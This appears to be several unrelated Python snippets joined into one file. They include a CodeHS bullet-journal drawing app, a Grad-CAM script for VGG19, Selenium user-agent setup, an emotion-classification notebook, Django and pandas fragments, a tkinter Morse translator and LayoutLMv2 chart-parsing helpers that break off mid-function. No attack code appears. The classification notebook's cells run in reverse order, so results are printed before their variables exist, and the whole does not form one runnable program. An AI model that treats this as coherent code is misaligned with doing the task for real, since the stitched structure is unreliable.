#Color 1 is Blue
#Color 2 is Brown
#Color 3 is Pink 
COVER_COLORS = { 1: "#004aad" , 2: "#785326", 3: "#ff66c4"}

#Dictoniary with the links to the pictures of the covers that were made by the two participants of this project on Canva.
#Cover 1 stores the 'sports' 
#Cover 2 stores the 'minimalist'
#Cover 3 stores the 'disco'
COVERS = {1:"https://codehs.com/uploads/09e8c629d421cb66645de71dde8b4798", 2:  "https://codehs.com/uploads/af0e91788463ead695681f2283840ebe", 3:"https://codehs.com/uploads/54705063a2a26241f5acafb945d75164"}

#Dictionary with the links to the pictures of the emojis
#Credited at the end of the code.
#Emoji 1 is Sad
#Emoji 2 is Serious
#Emoji 3 is Happy
FEELINGS = ["https://codehs.com/uploads/704376e1c39be26d465a9d0404d542b3","https://codehs.com/uploads/54d2f29719875ed8fd92f9f9bba4b9bc", "https://codehs.com/uploads/cb753db8cc445e6c57797d883aaadcd0"]

#Dictionary with the links to the quote 
#Quote 1 is the sport theme quote
#Quote 2 is the minimalist theme quote
#Quote 3 is the disco theme quote
QUOTES = {1: "https://codehs.com/uploads/9ed1eb5685b925a27ad6913fe4b04e66", 2: "https://codehs.com/uploads/64454ad9f06c2424cc6223c1c5d4a3aa", 3: "https://codehs.com/uploads/48f6c924027970db60c9a044736ffb36"}

#This lists will be useful to simplify the code and make it more readable 
user_cover = ""

user_name = input("What's your name?")

"""
SECTION 2:
This part of the code will be useful to create the first page of the Bullet Journal, in other words, the cover of the notebook. 
During this section, the user will be selecting a number of theme that he or she wants. The theme and colors will be applied to the whole notebook. 
"""
#The following functions and loops will be useful to CREATE the personalized cover (theme and name) 

#Signature for the cover which is useful to identify whose Journal this is
#The signature will appear at the bottom of the cover
def cover_name(cover_selection):
    cover_signature = Text("By " + user_name)
    cover_signature.set_color(COVER_COLORS[cover_selection])
    cover_signature.set_font("15pt Comic Sans")
    cover_signature.set_position(210 - cover_signature.get_width()/2, 540 - cover_signature.get_height()*2 )
    add(cover_signature)

#Displays the information button on the cover
#The button doesn't work yet, this only adds the button to the cover.
def info_button_1():
    circle = Circle(15)
    circle.set_position(390, 30)
    circle.set_color(Color.blue)
    add(circle)
    i = Text("i")
    i.set_position(386, 40)
    i.set_color(Color.white)
    i.set_font("20pt Times New Roman")
    add(i)
    
#This functions makes the info_button works when the user clicks on it.
#The information is meant to show overall instructions so the user can start to use the journal.
def info_click(x,y):
    if (x > 375) and (x < 405):
        if (y > 15) and (y < 45):
            print ("""WELCOME TO YOUR OWN BULLET JOURNAL!! We hope you have a great time using this program
            
            CONTROL LIST:
                - Right Arrow: Move to next page
                - Left Arrow: Move to the previous page 
                - Left Click: Select and interact with your Bullet Journal
                """)
    elif (x > 370) and (x < 410):
        if (y > 505) and (y < 535):
            return
    
#Displays the button that will move the user to the next page
#This only adds the button to the cover, not the functionality
def next_page(): 
    circle_next = Circle(15)
    circle_next.set_position(395, 520)
    circle_next.set_color(COVER_COLORS[cover_selection])
    add(circle_next)
    line1 = Line(390, 520, 400, 520)
    line1.set_color(Color.white)
    add(line1)
    line2 = Line(395,515,400,520)
    line2.set_color(Color.white)
    add(line2)
    line3 = Line(395,525,400,520)
    line3.set_color(Color.white)
    add(line3)
    
#This makes the next_page button to work
#The button moves the user to page_1, where they will write about their day
def next_page_click(x,y):
    global current_page
    if (x > 370) and (x < 410):
        if (y > 505) and (y < 535):
            print_page()
    

#Prints the cover image of the user's preference (1,2, or 3) 
#The cover includes the user's name, the information button defined previously, and next page buttons.
def print_cover(cover_selection):
    cover = Image(COVERS[cover_selection])
    cover.set_size(420,540)
    cover.set_position(0,0)
    add(cover)
    cover_name(cover_selection)
    info_button_1()
    next_page()
    
#This loop avoids the user from entering a not valid value and having an error
while True:
    try:
        cover_selection = int(input("""Select the number of the theme for your cover 
        1: Sports 
        2: Minimalist 
        3: Disco"""))
        if (cover_selection > 0) and (cover_selection < 4):
            print_cover(cover_selection)
            user_cover = cover_selection
            break 
        else:
            continue 
    except ValueError:
        continue 
 
#The following functions and loops will be useful to CREATE the personalized page where the user will write about its day

#Displays the button that will move the user to the previous page, the cover
#This doens't work yet, it is just the button.
def previous_page():
    circle_previous = Circle(15)
    circle_previous.set_position(30, 520)
    circle_previous.set_color(COVER_COLORS[cover_selection])
    add(circle_previous)
    line1 = Line(25, 520, 35, 520)
    line1.set_color(Color.white)
    add(line1)
    line2 = Line(30,525,24,520)
    line2.set_color(Color.white)
    add(line2)
    line3 = Line(30,515,25,520)
    line3.set_color(Color.white)
    add(line3)
    
#Adds functionality to the previous_page button
#The button moves the user to the cover they personalized
def previous_page_click(x,y):
    if (x > 5) and (x < 45):
        if (y > 505) and (y < 535):
            print_cover(cover_selection)
    
#This adds the user's name to the bottom of the page
def page_signature():
    tag = Text(user_name + "'s Journal")
    tag.set_color("#ebd1a7")
    tag.set_font("15pt Comic Sans")
    tag.set_position(210 - tag.get_width()/2, 540 - tag.get_height()/2 )
    add(tag)

#Adds the title to the page of the journal
def title():
    title = Text("MY DAY")
    title.set_position(210 - title.get_width(), 56)
    title.set_color(COVER_COLORS[cover_selection])
    title.set_font("50pt Fantasy")
    add(title)
    

#These functions all come together to promt the use for their mood
#After, it will display an emoji according to their rating
def feeling():
    feeling_sqr = Rectangle(170,50)
    feeling_sqr.set_position(20, 92)
    feeling_sqr.set_color(COVER_COLORS[cover_selection]) 
    add(feeling_sqr)
    feeling_txt = Text("Mood")
    feeling_txt.set_position(60, 134)
    feeling_txt.set_color(Color.white)
    feeling_txt.set_font("30pt Fantasy")
    add(feeling_txt)

def feeling_click(x,y):
    if (x > 20) and (x < 180):
        if (y > 92) and (y < 142):
            feeling_question()

def feeling_question():
    while True:
        try:
            feeling_number = int(input("""On a scale of 1-5, how are you feeling? 
            5 = Best
            1 = Worst"""))
            
            if feeling_number < 3 and feeling_number > 0:
                sad=Image(FEELINGS[0])
                sad.set_size(170, 170)
                sad.set_position(20,150)
                add(sad)
                break
            
            elif feeling_number == 3:
                normal=Image(FEELINGS[1])
                normal.set_size(170, 170)
                normal.set_position(20,150)
                add(normal)
                break
            
            elif feeling_number > 3 and feeling_number < 6:
                happy=Image(FEELINGS[2])
                happy.set_size(170, 170)
                happy.set_position(20,150)
                add(happy)
            
                break
            
            else: 
                continue
        except ValueError:
            continue

#These functions all come together to promt the use for the number of glasses of water they had and display it
def water():
    water_sqr = Rectangle(170,50)
    water_sqr.set_position(210, 92)
    water_sqr.set_color(COVER_COLORS[cover_selection]) 
    add(water_sqr)
    water_txt = Text("Glasses of water")
    water_txt.set_position(215, 125)
    water_txt.set_color(Color.white)
    water_txt.set_font("18pt Fantasy")
    add(water_txt)

def water_click(x,y):
    if (x > 210) and (x < 380):
        if (y > 92) and (y < 142):
            water_question()

def water_question():
    while True:
        try:
            water_number = int(input("How many glasses of water did you drink?"))
            water_display_txt = Text(water_number)
            water_display_txt.set_position(280, 180)
            water_display_txt.set_color(Color.black)
            water_display_txt.set_font("40pt Impact")
            add(water_display_txt)
            break
        except ValueError:
            continue


#These functions all come together to promt the use for the number of meals they had and display it
def meals():
    meals_sqr = Rectangle(170,50)
    meals_sqr.set_position(210, 192)
    meals_sqr.set_color(COVER_COLORS[cover_selection]) 
    add(meals_sqr)
    meals_txt = Text("Meals")
    meals_txt.set_position(247, 231)
    meals_txt.set_color(Color.white)
    meals_txt.set_font("30pt Fantasy")
    add(meals_txt)

def meals_click(x,y):
    if (x > 210) and (x < 380):
        if (y > 192) and (y < 242):
            meals_question()
            
def meals_question():
    while True:
        try:
            meals_number = int(input("How many meals did you have?"))
            meals_display_txt = Text(meals_number)
            meals_display_txt.set_position(280, 280)
            meals_display_txt.set_color(Color.black)
            meals_display_txt.set_font("40pt Impact")
            add(meals_display_txt)
            break
        except ValueError:
            continue

#These functions all come together to promt the use for the number of hours of sleep they had and display it
def sleep():
    sleep_sqr = Rectangle(170,50)
    sleep_sqr.set_position(210, 292)
    sleep_sqr.set_color(COVER_COLORS[cover_selection]) 
    add(sleep_sqr)
    sleep_txt = Text("Hours of sleep")
    sleep_txt.set_position(218, 325)
    sleep_txt.set_color(Color.white)
    sleep_txt.set_font("20pt Fantasy")
    add(sleep_txt)

def sleep_click(x,y):
    if (x > 220) and (x < 380):
        if (y > 292) and (y < 342):
            sleep_question()

def sleep_question():
    while True:
        try:
            sleep_number = int(input("How many hours of sleep did you get?"))
            sleep_display_txt = Text(sleep_number)
            sleep_display_txt.set_position(280, 380)
            sleep_display_txt.set_color(Color.black)
            sleep_display_txt.set_font("40pt Impact")
            add(sleep_display_txt)
            break
        except ValueError:
            continue
    


#These functions all come together to promt the use for the number of glasses of water they had and display it
def assignment():
    assignment_sqr = Rectangle(170,50)
    assignment_sqr.set_position(210, 392)
    assignment_sqr.set_color(COVER_COLORS[cover_selection]) 
    add(assignment_sqr)
    assignment_txt = Text("Assignments done")
    assignment_txt.set_position(215, 425)
    assignment_txt.set_color(Color.white)
    assignment_txt.set_font("16pt Fantasy")
    add(assignment_txt)


def assignment_click(x,y):
    if (x > 210) and (x < 380):
        if (y > 392) and (y < 442):
            assignment_question()
            
def assignment_question():
    while True:
        try:
            assignment_number = int(input("How many assignments did you complete?"))
            assignment_display_txt = Text(assignment_number)
            assignment_display_txt.set_position(280, 480)
            assignment_display_txt.set_color(Color.black)
            assignment_display_txt.set_font("40pt Impact")
            add(assignment_display_txt)
            break 
        except ValueError:
            continue

#This function display a motivational quote for the user
def quote():
    quote = Image(QUOTES[cover_selection])
    quote.set_size(190,190)
    quote.set_position(10,322)
    add(quote)
    
#This function collects all titles on the second page that promt the user for data
def title_squares():
    feeling()
    add_mouse_click_handler(feeling_click)
    water()
    add_mouse_click_handler(water_click)
    meals()
    add_mouse_click_handler(meals_click)
    sleep()
    add_mouse_click_handler(sleep_click)
    assignment()
    add_mouse_click_handler(assignment_click)

#Displays the page which will have the information the user edits according to their day
def print_page():
    PAGE_BACKGROUND = Image("https://codehs.com/uploads/de707bc143c3e9f941fd380d4048cf36")
    PAGE_BACKGROUND.set_size(420, 540)
    PAGE_BACKGROUND.set_position(0,0)
    add(PAGE_BACKGROUND)
    page_signature()
    title()
    previous_page()
    title_squares()
    quote()
    
"""
Section 3:
Calling the mouse events for the info, previous and next page buttons. 
"""
add_mouse_click_handler(info_click)
add_mouse_click_handler(previous_page_click)
add_mouse_click_handler(next_page_click)



"""
CITATIONS:

Emojis:
Happy:
"Happy Free Icons Designed By Freepik". Flaticon, 2023, https://www.flaticon.com/free-icon/happy_1621782. Accessed 27 Apr 2023.
Serious:
"Meh Free Icons Designed By Freepik". Flaticon, 2023, https://www.flaticon.com/free-icon/meh_8538357. Accessed 27 Apr 2023."
Sad:
"Unhappy Free Icons Designed By Freepik". Flaticon, 2023, https://www.flaticon.com/free-icon/unhappy_8538354. Accessed 27 Apr 2023.
"""
import torch
from torch.autograd import Variable
from torch.autograd import Function
from torchvision import models
from torchvision import utils
import cv2
import sys
import numpy as np
import argparse

class FeatureExtractor():
    """ Class for extracting activations and 
    registering gradients from targetted intermediate layers """
    def __init__(self, model, target_layers):
        self.model = model
        self.target_layers = target_layers
        self.gradients = []

    def save_gradient(self, grad):
        self.gradients.append(grad)

    def __call__(self, x):
        outputs = []
        self.gradients = []
        for name, module in self.model._modules.items():
            x = module(x)
            if name in self.target_layers:
                x.register_hook(self.save_gradient)
                outputs += [x]
        return outputs, x

class ModelOutputs():
    """ Class for making a forward pass, and getting:
    1. The network output.
    2. Activations from intermeddiate targetted layers.
    3. Gradients from intermeddiate targetted layers. """
    def __init__(self, model, target_layers):
        self.model = model
        self.feature_extractor = FeatureExtractor(self.model.features, target_layers)

    def get_gradients(self):
        return self.feature_extractor.gradients

    def __call__(self, x):
        target_activations, output  = self.feature_extractor(x)
        output = output.view(output.size(0), -1)
        output = self.model.classifier(output)
        return target_activations, output

def preprocess_image(img):
    means=[0.485, 0.456, 0.406]
    stds=[0.229, 0.224, 0.225]

    preprocessed_img = img.copy()[: , :, ::-1]
    for i in range(3):
        preprocessed_img[:, :, i] = preprocessed_img[:, :, i] - means[i]
        preprocessed_img[:, :, i] = preprocessed_img[:, :, i] / stds[i]
    preprocessed_img = \
        np.ascontiguousarray(np.transpose(preprocessed_img, (2, 0, 1)))
    preprocessed_img = torch.from_numpy(preprocessed_img)
    preprocessed_img.unsqueeze_(0)
    input = Variable(preprocessed_img, requires_grad = True)
    return input

def show_cam_on_image(img, mask):
    heatmap = cv2.applyColorMap(np.uint8(255*mask), cv2.COLORMAP_JET)
    heatmap = np.float32(heatmap) / 255
    cam = heatmap + np.float32(img)
    cam = cam / np.max(cam)
    cv2.imwrite("cam.jpg", np.uint8(255 * cam))

class GradCam:
    def __init__(self, model, target_layer_names, use_cuda):
        self.model = model
        self.model.eval()
        self.cuda = use_cuda
        if self.cuda:
            self.model = model.cuda()

        self.extractor = ModelOutputs(self.model, target_layer_names)

    def forward(self, input):
        return self.model(input) 

    def __call__(self, input, index = None):
        if self.cuda:
            features, output = self.extractor(input.cuda())
        else:
            features, output = self.extractor(input)

        if index == None:
            index = np.argmax(output.cpu().data.numpy())

        one_hot = np.zeros((1, output.size()[-1]), dtype = np.float32)
        one_hot[0][index] = 1
        one_hot = Variable(torch.from_numpy(one_hot), requires_grad = True)
        if self.cuda:
            one_hot = torch.sum(one_hot.cuda() * output)
        else:
            one_hot = torch.sum(one_hot * output)

        self.model.features.zero_grad()
        self.model.classifier.zero_grad()
        one_hot.backward(retain_graph=True)

        grads_val = self.extractor.get_gradients()[-1].cpu().data.numpy()

        target = features[-1]
        target = target.cpu().data.numpy()[0, :]

        weights = np.mean(grads_val, axis = (2, 3))[0, :]
        cam = np.zeros(target.shape[1 : ], dtype = np.float32)

        for i, w in enumerate(weights):
            cam += w * target[i, :, :]

        cam = np.maximum(cam, 0)
        cam = cv2.resize(cam, (224, 224))
        cam = cam - np.min(cam)
        cam = cam / np.max(cam)
        return cam

class GuidedBackpropReLU(Function):

    def forward(self, input):
        positive_mask = (input > 0).type_as(input)
        output = torch.addcmul(torch.zeros(input.size()).type_as(input), input, positive_mask)
        self.save_for_backward(input, output)
        return output

    def backward(self, grad_output):
        input, output = self.saved_tensors
        grad_input = None

        positive_mask_1 = (input > 0).type_as(grad_output)
        positive_mask_2 = (grad_output > 0).type_as(grad_output)
        grad_input = torch.addcmul(torch.zeros(input.size()).type_as(input), torch.addcmul(torch.zeros(input.size()).type_as(input), grad_output, positive_mask_1), positive_mask_2)

        return grad_input

class GuidedBackpropReLUModel:
    def __init__(self, model, use_cuda):
        self.model = model
        self.model.eval()
        self.cuda = use_cuda
        if self.cuda:
            self.model = model.cuda()

        # replace ReLU with GuidedBackpropReLU
        for idx, module in self.model.features._modules.items():
            if module.__class__.__name__ == 'ReLU':
                self.model.features._modules[idx] = GuidedBackpropReLU()

    def forward(self, input):
        return self.model(input)

    def __call__(self, input, index = None):
        if self.cuda:
            output = self.forward(input.cuda())
        else:
            output = self.forward(input)

        if index == None:
            index = np.argmax(output.cpu().data.numpy())

        one_hot = np.zeros((1, output.size()[-1]), dtype = np.float32)
        one_hot[0][index] = 1
        one_hot = Variable(torch.from_numpy(one_hot), requires_grad = True)
        if self.cuda:
            one_hot = torch.sum(one_hot.cuda() * output)
        else:
            one_hot = torch.sum(one_hot * output)

        # self.model.features.zero_grad()
        # self.model.classifier.zero_grad()
        one_hot.backward(retain_graph=True)

        output = input.grad.cpu().data.numpy()
        output = output[0,:,:,:]

        return output

def get_args():
    parser = argparse.ArgumentParser()
    parser.add_argument('--use-cuda', action='store_true', default=False,
                        help='Use NVIDIA GPU acceleration')
    parser.add_argument('--image-path', type=str, default='./examples/both.png',
                        help='Input image path')
    args = parser.parse_args()
    args.use_cuda = args.use_cuda and torch.cuda.is_available()
    if args.use_cuda:
        print("Using GPU for acceleration")
    else:
        print("Using CPU for computation")

    return args

if __name__ == '__main__':
    """ python grad_cam.py <path_to_image>
    1. Loads an image with opencv.
    2. Preprocesses it for VGG19 and converts to a pytorch variable.
    3. Makes a forward pass to find the category index with the highest score,
    and computes intermediate activations.
    Makes the visualization. """

    args = get_args()

    # Can work with any model, but it assumes that the model has a 
    # feature method, and a classifier method,
    # as in the VGG models in torchvision.
    grad_cam = GradCam(model = models.vgg19(pretrained=True), \
                    target_layer_names = ["35"], use_cuda=args.use_cuda)

    img = cv2.imread(args.image_path, 1)
    img = np.float32(cv2.resize(img, (224, 224))) / 255
    input = preprocess_image(img)

    # If None, returns the map for the highest scoring category.
    # Otherwise, targets the requested index.
    target_index = None

    mask = grad_cam(input, target_index)

    show_cam_on_image(img, mask)

    gb_model = GuidedBackpropReLUModel(model = models.vgg19(pretrained=True), use_cuda=args.use_cuda)
    gb = gb_model(input, index=target_index)
    utils.save_image(torch.from_numpy(gb), 'gb.jpg')

    cam_mask = np.zeros(gb.shape)
    for i in range(0, gb.shape[0]):
        cam_mask[i, :, :] = mask

    cam_gb = np.multiply(cam_mask, gb)
    utils.save_image(torch.from_numpy(cam_gb), 'cam_gb.jpg')
from selenium import webdriver

chrome_options = webdriver.ChromeOptions()
chrome_options.add_argument('--user-agent="Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; Microsoft; Lumia 640 XL LTE) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.10166"')
driver = webdriver.Chrome(chrome_options=chrome_options)
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from fake_useragent import UserAgent

options = Options()
ua = UserAgent()
userAgent = ua.random
print(userAgent)
options.add_argument(f'user-agent={userAgent}')
driver = webdriver.Chrome(chrome_options=options, executable_path=r'C:\WebDrivers\ChromeDriver\chromedriver_win32\chromedriver.exe')
driver.get("https://www.google.co.in")
driver.quit()
print("Accuracy:", accuracy_score(y_test_lbl, y_pred_lbl))
print("Confusion Matrix:", confusion_matrix(y_test_lbl, y_pred_lbl))
print("Classification Report:", classification_report(y_test_lbl, y_pred_lbl))
 # Use the classifier to predict the labels
y_pred_lbl = mnb.predict(X_test_vec_lbl)
# Add the label dummy variabls to the vector X_test_vec_lbl
# create a DataFrame with the dummy variables
dummy_df = test_lbl[["cluster_1", "cluster_2", "cluster_3", "cluster_4", "cluster_5",
                     "cluster_6", "cluster_7", "cluster_8", "cluster_9", "cluster_10",
                     "cluster_11", "cluster_12"]]

# Reshaping the dummy_df to dummy_matrices
for i, col in enumerate(dummy_df.columns):
    # get the column values as a dense numpy array
    col_values = dummy_df[col].values.reshape(-1, 1)
    # stack the column values horizontally with the sparse matrix
    X_test_vec_lbl = hstack([X_test_vec_lbl, col_values], format='csr')

# Size of X_train_vec_lbl after adding 12 dummy variables
print(X_test_vec_lbl.shape)
# Vectorize your test data
X_test_vec_lbl = tfidf.transform(test_lbl["content"])
# Size of X_test_vec_lbl and y_test_lbl
print(X_test_vec_lbl.shape)
print(y_test_lbl.shape)
# Add the label dummy variabls to the vector X_train_vec_lbl
# create a DataFrame with the dummy variables
dummy_df = train_lbl[["cluster_1", "cluster_2", "cluster_3", "cluster_4", "cluster_5",
                      "cluster_6", "cluster_7", "cluster_8", "cluster_9", "cluster_10",
                      "cluster_11", "cluster_12"]]

# Reshaping the dummy_df to dummy_matrices
for i, col in enumerate(dummy_df.columns):
    # get the column values as a dense numpy array
    col_values = dummy_df[col].values.reshape(-1, 1)
    # stack the column values horizontally with the sparse matrix
    X_train_vec_lbl = hstack([X_train_vec_lbl, col_values], format='csr')

# Size of X_train_vec_lbl after adding 12 dummy variables
print(X_train_vec_lbl.shape)



# Multinomial Naive Bayes
mnb = MultinomialNB()

# Fit train dataset v3 to mnb
mnb.fit(X_train_vec_lbl, y_train_lbl)
# tfidf is the vector defined previously
#tfidf = TfidfVectorizer(ngram_range=(1,3), stop_words='english', lowercase=True)

# Transform train_lbl['content'] to vectorizer
X_train_vec_lbl = tfidf.fit_transform(train_lbl["content"])
# Size of X_train_vec_lbl and y_train_lbl
print(X_train_vec_lbl.shape)
print(y_train_lbl.shape)
# Split train and test from the new dataset with clustering labels from part #4
X = df_emotions_labeled.drop('sentiment', axis=1)
y = df_emotions['sentiment']

# Create oversampler (prevously defined)
# oversampler = RandomOverSampler()
# Fit and transform the data
X_resampled_labeled, y_resampled_labeled = oversampler.fit_resample(X, y)

# Split the dataset into training and testing sets with stratified sampling
X_train_lbl, X_test_lbl, y_train_lbl, y_test_lbl = train_test_split(X_resampled_labeled, y_resampled_labeled, test_size=0.2, stratify=y_resampled_labeled, random_state=42)

# Concatenate them
train_lbl = pd.concat([X_train_lbl, y_train_lbl], axis=1)
test_lbl = pd.concat([X_test_lbl, y_test_lbl], axis=1)
# Adding the labels from part #4 to df_emotions dataframe
df_emotions_labeled = df_emotions
df_emotions_labeled['clustering_label'] = labels

# Build dummy variables based on the clustering_label column
clustering_label_dummy = pd.get_dummies(df_emotions_labeled['clustering_label'], prefix='cluster', drop_first=True)
# combine the dummy variables with the original DataFrame
df_emotions_labeled = pd.concat([df_emotions_labeled, clustering_label_dummy], axis=1)
# Drop clustering_label column
df_emotions_labeled = df_emotions_labeled.drop('clustering_label', axis=1)

df_emotions_labeled
# Create an instance of AgglomerativeClustering
content = df_emotions['sentiment']
agglomerative_vec = tfidf.fit_transform(content)
agg_clustering = AgglomerativeClustering(n_clusters=13, metric='euclidean', linkage='ward')

# Create labels from the Agglomerative Clustering above
labels = np.array(agg_clustering.fit_predict(agglomerative_vec.toarray()))
print(labels)
print("Accuracy:", accuracy_score(y_test_v4, mnb_y_pred))
print("Confusion Matrix:", confusion_matrix(y_test_v4, mnb_y_pred))
print("Classification Report:", classification_report(y_test_v4, mnb_y_pred))
# Vectorize your test data and use the classifier to predict the labels
X_test_vec = tfidf.transform(test_v4["content"])
mnb_y_pred = mnb.predict(X_test_vec)
# Multinomial Naive Bayes
mnb = MultinomialNB()

# Fit train dataset v3 to mnb
mnb.fit(X_train_vec_v4, y_train_v4)
# Create TFIDF vectorizer and fit it to training dataset
tfidf = TfidfVectorizer(ngram_range=(1,3), stop_words='english', lowercase=True)

# Transform train_v4['content'] to vectorize
X_train_vec_v4 = tfidf.fit_transform(train_v4["content"])
# Import the oversampling library
from imblearn.over_sampling import RandomOverSampler

# Separate the target variable from the features
X = df_emotions.drop('sentiment', axis=1)
y = df_emotions['sentiment']

# Create oversampler
oversampler = RandomOverSampler()
# Fit and transform the data
X_resampled, y_resampled = oversampler.fit_resample(X, y)

# Split the dataset into training and testing sets with stratified sampling
X_train_v4, X_test_v4, y_train_v4, y_test_v4 = train_test_split(X_resampled, y_resampled, test_size=0.2, stratify=y_resampled, random_state=42)

# Join X and Y into one table again
train_v4 = pd.concat([X_train_v4, y_train_v4], axis=1)
test_v4 = pd.concat([X_test_v4, y_test_v4], axis=1)
df_emotions = pd.read_csv("/path/to/the/file/HW2_emotions.csv")
df_emotions.head(5)
def converter_formato_numero(df_col):
    """
    (df_col)-->(df_col)

    """
    return df_col.str.strip().str.replace('.','').str.replace(',','.').str.replace('-','0')
df_cart['ano_prev_rec']=df_cart['data_prevista_recebimento'].dt.year.astype('str')
df_cart['mes_prev_rec']=df_cart['data_prevista_recebimento'].dt.month.map("{:02}".format).astype('str')
df_cart['ano_mes_prev_rec']=df_cart['ano_prev_rec']+df_cart['mes_prev_rec']
from django.utils import timezone

current_year = timezone.now().year
items = Items.objects.filter(created_time__year=current_year)
from django.db.models import Case, When, Value, CharField

Items.objects.update(fast_lane=Case(
    When(is_fast_lane=True, then=Value('Yes')),
    default=Value('No'),
    output_field=CharField()
))
from tkinter import *
from tkinter import simpledialog
from tkinter import messagebox
window=Tk()
window.geometry('300x300')
l1=Label(window,text="morse")
window.title('THE MORSE CODE TRANSLATOR')
window.configure(bg='White')
MORSE_CODE_DICT = { 'A':'.-', 'B':'-...','C':'-.-.', 'D':'-..', 'E':'.',
                        'F':'..-.', 'G':'--.', 'H':'....',
                        'I':'..', 'J':'.---', 'K':'-.-',
                        'L':'.-..', 'M':'--', 'N':'-.',
                    'O':'---', 'P':'.--.', 'Q':'--.-',
                    'R':'.-.', 'S':'...', 'T':'-',
                    'U':'..-', 'V':'...-', 'W':'.--',
                    'X':'-..-', 'Y':'-.--', 'Z':'--..',
                    '1':'.----', '2':'..---', '3':'...--',
                    '4':'....-', '5':'.....', '6':'-....',
                    '7':'--...', '8':'---..', '9':'----.',
                    '0':'-----', ', ':'--..--', '.':'.-.-.-',
                    '?':'..--..', '/':'-..-.', '-':'-....-',
                    '(':'-.--.', ')':'-.--.-','#':'...---'}
def buttonfunction():#encrytion:English->Morse code
    message=simpledialog.askstring("morse code","Enter English Code")
    message=message.upper()
    cipher = ''
    for letter in message:
            if letter != ' ':
                cipher += MORSE_CODE_DICT[letter] + ' '
            else:
                cipher += ' '
    labe1=Label(text=cipher,font=10000,bg='skyblue').pack()
def but():#decryption:Morse Code->English
    message=simpledialog.askstring("morse code","Enter Morse Code")
    message += ' '
    decipher = ''
    citext = ''
    for letter in message:
        if (letter != ' '):
            i = 0
            citext += letter
        else:
            i += 1
            if i == 2 :      
                decipher += ' '
            else:
                try:
                    decipher += list(MORSE_CODE_DICT.keys())[list(MORSE_CODE_DICT
                    .values()).index(citext)]
                    citext = ''
                except:
                   messagebox.showinfo('question','the code is incorrect')
    lan=Label(text=decipher,font=20).pack()
b=Button(window,text="ENGLISH to MORSE CODE",command=buttonfunction,bg='pink')
b.pack()
b1=Button(window,text="MORSE CODE to ENGLISH",command=but,bg='orange').pack(side=RIGHT)
window.mainloop()
import math

# Calculate the square root of a number
x = 25
sqrt_x = math.sqrt(x)
print(sqrt_x)

# Find the maximum value in a list
my_list = [4, 2, 7, 1, 9]
max_val = max(my_list)
print(max_val)
######### categorize the words into "keys, values, headers"

def graph_categorizer(words,bboxes,img):
  
  output_dict = {"headers":[],"keys":[],"values":[]}

  bboxes = normalize_bbox(bboxes,img)
  
  for idx in range(len(words[0])):
    x1,y1,x2,y2 = bboxes[idx]
    ###### header
    if(y2<=13):
      output_dict['headers'].append(words[0][idx])
    ###### keys
    elif(x2<43):
      output_dict['keys'].append(words[0][idx])    
    ###### values
    elif(x2>=43):
      output_dict['values'].append(words[0][idx])
  
  return output_dict

####### assign values to their respective keys with the help contours 


def nearest_assignment(updated_categorized_data,updated_words_to_bboxes,contours_right_coords):
  #### values to contour relation
  contour_to_values = {}
  for idx in range(len(contours_right_coords)):
    contours = contours_right_coords[idx]
    cont_x,_ = contours
    min_dist = float('inf')
    min_value = None
    for value in updated_categorized_data['values']:
      _,_,value_x,_ = updated_words_to_bboxes[value]
      curr_dist = abs(value_x-cont_x)
      # print(value,curr_dist,value_x,cont_x)
      if(min_dist>curr_dist):
        min_dist = curr_dist
        min_value = value
    contour_to_values[contours[1]] = min_value


  ######## 2nd method
  if(len(updated_categorized_data['values'])==len(contours_right_coords)):
    contour_to_values = {}
    for idx in range(len(contours_right_coords)):
      contours = contours_right_coords[idx]
      contour_to_values[contours[1]] = updated_categorized_data['values'][idx]
  return contour_to_values

#### assign values to their respective keys

def assign_value_to_keys(updated_categorized_data,updated_words_to_bboxes,contours_right_coords,contour_to_values):

  # fist assign the keys to the bars
  bars_to_keys = {}

  ## parsing the updated_categorized_data
  for cnt in contours_right_coords:
    _,cond_y = cnt
    min_diff = float('inf')
    right_key = None
    for key in updated_categorized_data['keys']:
      _,_,_,y = updated_words_to_bboxes[key]
      diff = float(abs(cond_y - y))
      if(min_diff > diff):
        min_diff = diff
        right_key = key
    bars_to_keys[cond_y] = right_key


  ###### simple solution for bars to keys
  if(len(contours_right_coords)==len(updated_categorized_data['keys'])):
    bars_to_keys = {}
    for idx in range(len(contours_right_coords)):
      contours = contours_right_coords[idx]
      bars_to_keys[contours[1]] = updated_categorized_data['keys'][idx]


  # now assigning the keys to the values
  keys_to_values = {}
  for k,v in bars_to_keys.items():
    keys_to_values[v] = contour_to_values[k]

  return keys_to_values
######## scaled data #############


def normalize_bbox(bboxes,img):
  # removing the fist and last coordinates
  bboxes= bboxes[1:-1]
  
  # Define the new image size
  new_width = 100
  new_height = 100

  original_width,original_height = img.size
  # Calculate the scaling factors
  x_scale = new_width / original_width
  y_scale = new_height / original_height

  #parsing the bboxes
  new_bboxes = []
  for bbox in bboxes:
    x1,y1,x2,y2 = bbox
    # Normalize the bounding box coordinates
    new_x1 = int(x1 * x_scale)
    new_y1 = int(y1 * y_scale)
    new_x2 = int(x2 * x_scale)
    new_y2 = int(y2 * y_scale)

    new_bbox = new_x1,new_y1,new_x2,new_y2
    new_bboxes.append(new_bbox)
  return new_bboxes
def loadFromLayoutlmv2():
  feature_extractor = LayoutLMv2FeatureExtractor.from_pretrained("microsoft/layoutlmv2-base-uncased")# apply_ocr is set to True by default
  tokenizer = LayoutLMv2TokenizerFast.from_pretrained("microsoft/layoutlmv2-base-uncased") 
  model = LayoutLMv2ForTokenClassification.from_pretrained("nielsr/layoutlmv2-finetuned-funsd")
  return feature_extractor,tokenizer,model

def labelForBoxes():
  dataset = load_dataset("nielsr/funsd", split="test")
  # define id2label, label2color
  labels = dataset.features['ner_tags'].feature.names
  id2label = {v: k for v, k in enumerate(labels)}
  label2color = {'question':'blue', 'answer':'green', 'header':'orange', 'other':'violet'}
  return id2label, label2color

def unnormalize_box(bbox, width, height):
     return [
         width * (bbox[0] / 1000),
         height * (bbox[1] / 1000),
         width * (bbox[2] / 1000),
         height * (bbox[3] / 1000),
     ]

def iob_to_label(label):
    label = label[2:]
    if not label:
      return 'other'
    return label

def process_image(image,id2label,label2color,feature_extractor,tokenizer,model):
    
    # Convert the image to RGB format
    image = image.convert('RGB')
    width, height = image.size

    # get words, boxes
    encoding_feature_extractor = feature_extractor(image, return_tensors="pt")
    words, boxes = encoding_feature_extractor.words, encoding_feature_extractor.boxes
    # encode
